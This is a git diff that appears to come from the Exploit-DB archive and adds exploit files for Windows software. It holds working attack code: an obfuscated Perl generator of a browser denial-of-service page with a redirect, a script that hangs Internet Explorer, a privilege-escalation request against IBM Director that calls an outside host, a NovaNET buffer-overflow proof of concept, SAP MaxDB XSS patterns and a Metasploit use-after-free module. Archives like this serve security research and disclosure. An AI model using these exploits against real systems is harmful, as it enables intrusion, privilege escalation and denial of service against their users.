+ "\x20\x44\x6F\x53\x2E\x22\x29\x3B".
+ "\x0D\x0A\x69\x66\x20\x28\x61\x73\x6B\x20".
+ "\x3D\x3D\x20\x74\x72\x75\x65\x29".
+ "\x20\x7B\x20\x0D\x0A\x66".
+ "\x6F\x72\x20\x28".
+ "\x78\x3D\x30".
+ "\x3B\x20".
+ "\x78".
+ "\x3C".
+ "\x78\x2B".
+ "\x31\x3B\x20".
+ "\x78\x2B\x2B\x29".
+ "\x20\x64\x6F\x7A\x28\x29".
+ "\x3B\x0D\x0A\x7D\x20\x65\x6C\x73".
+ "\x65\x09\x7B\x20\x61\x6C\x65\x72\x74\x28".
+ "\x22\x4F\x6B\x20\x3A\x28\x22\x29".
+ "\x3B\x0D\x0A\x77\x69\x6E".
+ "\x64\x6F\x77\x2E".
+ "\x6C\x6F\x63".
+ "\x61\x74".
+ "\x69".
+ "\x6F".
+ "\x6E\x2E".
+ "\x68\x72\x65".
+ "\x66\x20\x3D\x20".
+ "\x22\x68\x74\x74\x70\x3A".
+ "\x2F\x2F\x77\x77\x77\x2E\x71\x74".
+ "\x77\x65\x62\x2E\x6E\x65\x74\x2F\x22\x3B";
+ #########
+ $E="\x0D\x0A\x7D\x20".
+ "\x3C\x2F\x73\x63".
+ "\x72\x69\x70\x74".
+ "\x3E\x3C\x2F\x62".
+ "\x6F\x64\x79\x3E".
+ "\x3C\x2F\x68\x65".
+ "\x61\x64\x3E\x3C".
+ "\x2F\x68\x74\x6D".
+ "\x6C\x3E";#####____
+
+my $file = "Smile.html";
+my $fun = $S.$M.$I.$L.$E;
+open (mrowdiuqil, ">./$file") || die "\nMffff... $!\n";
+print mrowdiuqil "$fun";
+close (mrowdiuqil);
+print "\n[+] File $file created with funny potion\!\n\n";
diff --git a/platforms/windows/dos/32902.py b/platforms/windows/dos/32902.py
new file mode 100755
index 000000000..9793a321d
--- /dev/null
+++ b/platforms/windows/dos/32902.py
@@ -0,0 +1,29 @@
+source: http://www.securityfocus.com/bid/34478/info
+
+Microsoft Internet Explorer is prone to a remote denial-of-service vulnerability.
+
+Successful exploits can allow attackers to hang the affected browser, resulting in denial-of-service conditions.
+
+#/usr/bin/env python
+import sys
+import random
+
+CHAR_SET = [chr(x) for x in range(0x20)]
+CHAR_SET += [chr(x) for x in range(128, 256)]
+
+def send_file():
+ l = 800000 + 4096
+ print "Content-Type: text/plain"
+ print "Content-Length: %d" % l
+ print "Cache-Control: no-cache, no-store, must-revalidate"
+ # this is not standardized, but use it anyway
+ print "Pragma: no-cache"
+ print ""
+ # bypass IE download dialog
+ sys.stdout.write("a" * 4096)
+ # print junks
+ for i in xrange(l):
+ sys.stdout.write(random.choice(CHAR_SET))
+ sys.exit()
+
+send_file()
diff --git a/platforms/windows/local/24872.txt b/platforms/windows/local/24872.txt
index 8b8168b6b..b2b9d6c98 100755
--- a/platforms/windows/local/24872.txt
+++ b/platforms/windows/local/24872.txt
@@ -1,3 +1,5 @@
+#E-DB Note: Vuln still in 6.0.3410 as well as 'Photodex ProShow Gold'
+
Inshell Security Advisory
http://www.inshell.net
diff --git a/platforms/windows/local/32771.txt b/platforms/windows/local/32771.txt
new file mode 100755
index 000000000..b796df61d
--- /dev/null
+++ b/platforms/windows/local/32771.txt
@@ -0,0 +1,12 @@
+source: http://www.securityfocus.com/bid/33561/info
+
+Multiple Kaspersky products are prone to a local privilege-escalation vulnerability because the applications fail to perform adequate boundary checks on user-supplied data.
+
+A local attacker can exploit this issue to execute arbitrary code with SYSTEM-level privileges. Successfully exploiting this issue will result in the complete compromise of affected computers. Failed exploit attempts will result in a denial-of-service condition.
+
+This issue affects versions in the following product groups:
+
+Kaspersky AV 2008
+Kaspersky AV for WorkStations 6.0
+
+http://www.exploit-db.com/sploits/32771.zip
\ No newline at end of file
diff --git a/platforms/windows/local/32845.pl b/platforms/windows/local/32845.pl
new file mode 100755
index 000000000..3f64bf6f4
--- /dev/null
+++ b/platforms/windows/local/32845.pl
@@ -0,0 +1,56 @@
+source: http://www.securityfocus.com/bid/34065/info
+
+IBM Director is prone to a privilege-escalation vulnerability that affects the CIM server.
+
+Attackers can leverage this issue to execute arbitrary code with elevated privileges in the context of the CIM server process.
+
+Versions prior to IBM Director 5.20.3 Service Update 2 are affected.
+
+use IO::Socket;
+#1st argument: target host
+my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
+ PeerPort => "6988",
+ Proto => 'tcp');
+$payload =
+qq{
+
+
+
+
+
+
+
+ Sample CIM_AlertIndication indication
+
+
+ 1
+
+
+ 3
+
+
+ 2
+
+
+ 20010515104354.000000:000
+
+
+
+
+
+
+ };
+$req =
+"M-POST /CIMListener/\\\\isowarez.de\\director\\wootwoot HTTP/1.1\r\n"
+."Host: $ARGV[0]\r\n"
+."Content-Type: application/xml; charset=utf-8\r\n"
+."Content-Length: ". length($payload) ."\r\n"
+."Man: http://www.dmtf.org/cim/mapping/http/v1.0 ; ns=40\r\n"
+."CIMOperation: MethodCall\r\n"
+."CIMExport: MethodRequest\r\n"
+."CIMExportMethod: ExportIndication\r\n\r\n";
+print $sock $req . $payload;
+
+while(<$sock>) {
+ print;
+}
diff --git a/platforms/windows/local/32850.txt b/platforms/windows/local/32850.txt
new file mode 100755
index 000000000..d3fe7d44a
--- /dev/null
+++ b/platforms/windows/local/32850.txt
@@ -0,0 +1,15 @@
+source: http://www.securityfocus.com/bid/34103/info
+
+Multiple SlySoft products are prone to multiple buffer-overflow vulnerabilities because they fail to adequately validate user-supplied input.
+
+A local attacker can exploit these issues to execute arbitrary code with SYSTEM-level privileges. Failed attacks will result in denial-of-service conditions.
+
+The following applications are vulnerable:
+
+SlySoft AnyDVD 6.5.2.2
+SlySoft AnyDVD HD 6.5.2.2
+SlySoft Virtual CloneDrive 5.4.2.3
+SlySoft CloneDVD 2.9.2.0
+SlySoft CloneCD 5.3.1.3
+
+http://www.exploit-db.com/sploits/32850.zip
\ No newline at end of file
diff --git a/platforms/windows/local/32891.txt b/platforms/windows/local/32891.txt
new file mode 100755
index 000000000..0927eb3ba
--- /dev/null
+++ b/platforms/windows/local/32891.txt
@@ -0,0 +1,14 @@
+source: http://www.securityfocus.com/bid/34442/info
+
+Microsoft Windows is prone to a privilege-escalation vulnerability.
+
+Successful exploits may allow attackers to elevate their privileges to LocalSystem, which would facilitate the complete compromise of affected computers.
+
+The issue affects the following:
+
+Windows XP SP2
+Windows Server 2003
+Windows Vista
+Windows Server 2008
+
+http://www.exploit-db.com/sploits/32891.zip
\ No newline at end of file
diff --git a/platforms/windows/local/32892.txt b/platforms/windows/local/32892.txt
new file mode 100755
index 000000000..8fea298a2
--- /dev/null
+++ b/platforms/windows/local/32892.txt
@@ -0,0 +1,12 @@
+source: http://www.securityfocus.com/bid/34443/info
+
+Microsoft Windows is prone to a privilege-escalation vulnerability.
+
+Successful exploits may allow attackers to elevate their privileges to LocalSystem, which would facilitate the complete compromise of affected computers.
+
+The issue affects the following:
+
+Windows XP SP2
+Windows Server 2003
+
+http://www.exploit-db.com/sploits/32892.zip
\ No newline at end of file
diff --git a/platforms/windows/local/32893.txt b/platforms/windows/local/32893.txt
new file mode 100755
index 000000000..fa9b68610
--- /dev/null
+++ b/platforms/windows/local/32893.txt
@@ -0,0 +1,12 @@
+source: http://www.securityfocus.com/bid/34444/info
+
+Microsoft Windows is prone to a privilege-escalation vulnerability.
+
+Successful exploits may allow attackers to elevate their privileges to LocalSystem, which would facilitate the complete compromise of affected computers.
+
+The issue affects the following:
+
+Windows Vista
+Windows Server 2008
+
+http://www.exploit-db.com/sploits/32893.zip
\ No newline at end of file
diff --git a/platforms/windows/remote/32826.html b/platforms/windows/remote/32826.html
new file mode 100755
index 000000000..a2c6c025d
--- /dev/null
+++ b/platforms/windows/remote/32826.html
@@ -0,0 +1,5 @@
+source: http://www.securityfocus.com/bid/33942/info
+
+iDefense COMRaider ActiveX control is prone to a vulnerability that lets attackers overwrite arbitrary local files on the victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer).
+
+
\ No newline at end of file
diff --git a/platforms/windows/remote/32832.c b/platforms/windows/remote/32832.c
new file mode 100755
index 000000000..31683edfb
--- /dev/null
+++ b/platforms/windows/remote/32832.c
@@ -0,0 +1,97 @@
+source: http://www.securityfocus.com/bid/33954/info
+
+
+NovaStor NovaNET is prone to a stack-based buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied data before copying it to an insufficiently sized buffer.
+
+Attackers can exploit this issue to execute arbitrary code within the context of the affected application or cause a denial-of-service condition.
+
+NovaNET 12 is vulnerable; other versions may also be affected.
+
+import os
+import sys
+import socket
+#NovaNet 12 PoC by AbdulAziz Hariri.
+
+request1_1 =("\x54\x84\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x92\x00\x00\x00"+
+"\x03\x3f\xfb\x76\x08\x20\x80\x00\x7f\xe3\x08\x88\x57\x3b\x77\x80"+
+"\x01\x00\x00\x00\xc0\xa8\x01\x42\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x30\x58\x39\x30\x00\x63\x88\x77\xfe\xff\xff\xff"+
+"\x1b\x3f\xfb\x76\x6a\x31\x41\x73\xb0\x03\x00\x00\xff\xff\x00\x00"+
+"\x06\x10\x00\x44\x74\x62\x3a\x20\x43\x6f\x6e\x74\x65\x78\x74\x00\xd8\xc1\x08\x10\xb0\x03\x00\x00\xff\xff\x00\x00\x06\x10\x00\x00"+
+"\x80\xfa")
+
+Request2_1=("\x51\x84\x00\x00\x02\x02\x02\x32\x18\x00\x00\x00\xa4\x01\x00\x00"+
+"\x00\x00\x00\x00")
+
+Request2_2=("\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x4d\x4c\x4d\x4c\x4d\x44\x4f\x4c\x4f\x44\x4f\x44"+
+"\x49\x4c\x49\x44\x49\x4c\x43\x4c\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
+"\x00\x00\x00\x00\x01\x10\x00\x00\x1f\x93\xf0\x48\x67\x60\x1e\x00"+
+"\xd1\xc4\x4f\x00")
+
+if len(sys.argv) != 2:
+print "[x] Usage: IP"
+sys.exit
+hostname = sys.argv[1]
+buff3r = ("\x41"*77) + "\x44"*156 + ("\x43"*75) + "\x0d\xf0\x0d\xf0"
+
+logno = Request2_1 + buff3r + Request2_2
+
+s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
+try:
+s.connect((hostname,3817))
+except socket.error, (value,msg):
+if s:
+s.close()
+print "[x] Error: %s.\n" % msg
+sys.exit(1)
+else:
+print "[x] Connected to: %s." % hostname
+
+print "[x] Sending initial request.."
+try:
+s.send(request1_1)
+except socket.error, (value,msg):
+if s:
+s.close()
+print "[x] Error: %s.\n" % msg
+sys.exit(1)
+else:
+print "[x] Sent!"
+
+print "[x] Sending Evil Buffer.."
+
+try:
+s.send(logno)
+except socket.error, (value,msg):
+if s:
+s.close()
+print "[x] Error: %s.\n" % msg
+sys.exit(1)
+else:
+print "[x] Sent!"
+
+print "[x] End of Demo exploit."
diff --git a/platforms/windows/remote/32851.html b/platforms/windows/remote/32851.html
new file mode 100755
index 000000000..044af63f9
--- /dev/null
+++ b/platforms/windows/remote/32851.html
@@ -0,0 +1,111 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/platforms/windows/remote/32879.html b/platforms/windows/remote/32879.html
new file mode 100755
index 000000000..74826449e
--- /dev/null
+++ b/platforms/windows/remote/32879.html
@@ -0,0 +1,9 @@
+source: http://www.securityfocus.com/bid/34319/info
+
+SAP MaxDB is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
+
+An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
+
+http://example.com:9999/webdbm?Event=DBM_LOGON&Action=VIEW&Server=&Database=[XSS]
+http://example.com:9999/webdbm?Event=DBM_LOGON&Action=VIEW&Server=&User=[XSS]
+http://example.com:9999/webdbm?Event=DBM_LOGON&Action=VIEW&Server=&Database=&User=&Password=[XSS]
\ No newline at end of file
diff --git a/platforms/windows/remote/32904.rb b/platforms/windows/remote/32904.rb
new file mode 100755
index 000000000..561b3c5b9
--- /dev/null
+++ b/platforms/windows/remote/32904.rb
@@ -0,0 +1,200 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+ Rank = NormalRanking
+
+ include Msf::Exploit::Remote::BrowserExploitServer
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => "MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free",
+ 'Description' => %q{
+ This module exploits an use after free condition on Internet Explorer as used in the wild
+ on the "Operation SnowMan" in February 2014. The module uses Flash Player 12 in order to
+ bypass ASLR and finally DEP.
+ },
+ 'License' => MSF_LICENSE,
+ 'Author' =>
+ [
+ 'Unknown', # Vulnerability discovery and Exploit in the wild
+ 'Jean-Jamil Khalife', # Exploit
+ 'juan vazquez' # Metasploit module
+ ],
+ 'References' =>
+ [
+ [ 'CVE', '2014-0322' ],
+ [ 'MSB', 'MS14-012' ],
+ [ 'BID', '65551' ],
+ [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html'],
+ [ 'URL', 'http://hdwsec.fr/blog/CVE-2014-0322.html' ]
+ ],
+ 'Platform' => 'win',
+ 'Arch' => ARCH_X86,
+ 'Payload' =>
+ {
+ 'Space' => 960,
+ 'DisableNops' => true,
+ 'PrependEncoder' => stack_adjust
+ },
+ 'BrowserRequirements' =>
+ {
+ :source => /script|headers/i,
+ :os_name => Msf::OperatingSystems::WINDOWS,
+ :os_flavor => Msf::OperatingSystems::WindowsVersions::SEVEN,
+ :ua_name => Msf::HttpClients::IE,
+ :ua_ver => '10.0',
+ :mshtml_build => lambda { |ver| ver.to_i < 16843 },
+ :flash => /^12\./
+ },
+ 'DefaultOptions' =>
+ {
+ 'InitialAutoRunScript' => 'migrate -f',
+ 'Retries' => false
+ },
+ 'Targets' =>
+ [
+ [ 'Windows 7 SP1 / IE 10 / FP 12', { } ],
+ ],
+ 'Privileged' => false,
+ 'DisclosureDate' => "Feb 13 2014",
+ 'DefaultTarget' => 0))
+
+ end
+
+ def stack_adjust
+ adjust = "\x64\xa1\x18\x00\x00\x00" # mov eax, fs:[0x18 # get teb
+ adjust << "\x83\xC0\x08" # add eax, byte 8 # get pointer to stacklimit
+ adjust << "\x8b\x20" # mov esp, [eax] # put esp at stacklimit
+ adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
+
+ adjust
+ end
+
+ def create_swf
+ path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2014-0322", "AsXploit.swf" )
+ fd = ::File.open( path, "rb" )
+ swf = fd.read(fd.stat.size)
+ fd.close
+ return swf
+ end
+
+ def exploit
+ @swf = create_swf
+ super
+ end
+
+ def on_request_uri(cli, request)
+ print_status("Request: #{request.uri}")
+
+ if request.uri =~ /\.swf$/
+ print_status("Sending SWF...")
+ send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})
+ return
+ end
+
+ super
+ end
+
+ def on_request_exploit(cli, request, target_info)
+ print_status("Sending HTML...")
+ send_exploit_html(cli, exploit_template(cli, target_info))
+ end
+
+ def exploit_template(cli, target_info)
+
+ flash_payload = ""
+ get_payload(cli,target_info).unpack("V*").each do |i|
+ flash_payload << "0x#{i.to_s(16)},"
+ end
+ flash_payload.gsub!(/,$/, "")
+
+ html_template = %Q|
+
+
+
+
+
+
+
+
+
+ |
+
+ return html_template, binding()
+ end
+
+end
\ No newline at end of file